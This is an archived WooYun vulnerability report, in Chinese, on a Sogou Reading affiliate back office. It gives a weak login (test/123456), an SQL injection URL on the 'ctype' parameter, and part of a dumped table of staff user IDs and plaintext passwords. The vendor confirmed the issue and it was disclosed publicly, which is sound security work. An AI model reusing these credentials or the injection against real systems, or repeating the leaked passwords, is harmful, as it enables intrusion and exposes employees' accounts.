当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0115601

漏洞标题：搜狗阅读某后台多处高危漏洞导致渠道运营数据及部分员工账号密码泄露

相关厂商：搜狗

漏洞作者： 杀器王子

提交时间：2015-05-22 18:59

修复时间：2015-07-09 12:48

公开时间：2015-07-09 12:48

漏洞类型：后台弱口令

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-22： 细节已通知厂商并且等待厂商处理中
2015-05-25： 厂商已经确认，细节仅向厂商公开
2015-06-04： 细节向核心白帽子及相关领域专家公开
2015-06-14： 细节向普通白帽子公开
2015-06-24： 细节向实习白帽子公开
2015-07-09： 细节向公众公开

简要描述：

杀器在手

详细说明：

http://union.novel.sogou.com/
弱口令test 123456
进入后台以后有一个sql注入点，参数ctype：

http://union.novel.sogou.com/stat/ajax?oper=grid_sum&d_start=20150421&d_end=20150521&ctype=30&is_settle=&query=&f_cols=&f_cids=&_search=false&nd=1432289822749&rows=20&page=1'&sidx=&sord=asc


漏洞证明：

sougou1.png


Database: app_novel
Table: app_user
[20 entries]
+------------+---------------+--------+------+--------------+----------------------+---------+--------------+----------+-----------+---------------------------+------------+---------------------+---------------------+---------------------+
| uid        | pass          | nick   | role | p_corp       | p_mail               | desc    | p_phone      | is_sogou | p_contact | p_address                 | sogou_role | update_time         | create_time         | last_login_time     |
+------------+---------------+--------+------+--------------+----------------------+---------+--------------+----------+-----------+---------------------------+------------+---------------------+---------------------+---------------------+
| liuzx      | 1q2w3e        | Liuzx  | 1    | corp         | email@sogou-inc.com  | <blank> | phone        | 0        | contact   | <blank>                   | role       | NULL                | 2014-11-21 15:43:36 | NULL                |
| wangxun    | 123456        | 王勋     | 1    | corp         | <blank>              | <blank> | <b

修复方案：

弱口令

版权声明：转载请注明来源 杀器王子@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-05-25 12:47

厂商回复：

感谢支持！欢迎到SGSRC提交漏洞！

最新状态：

暂无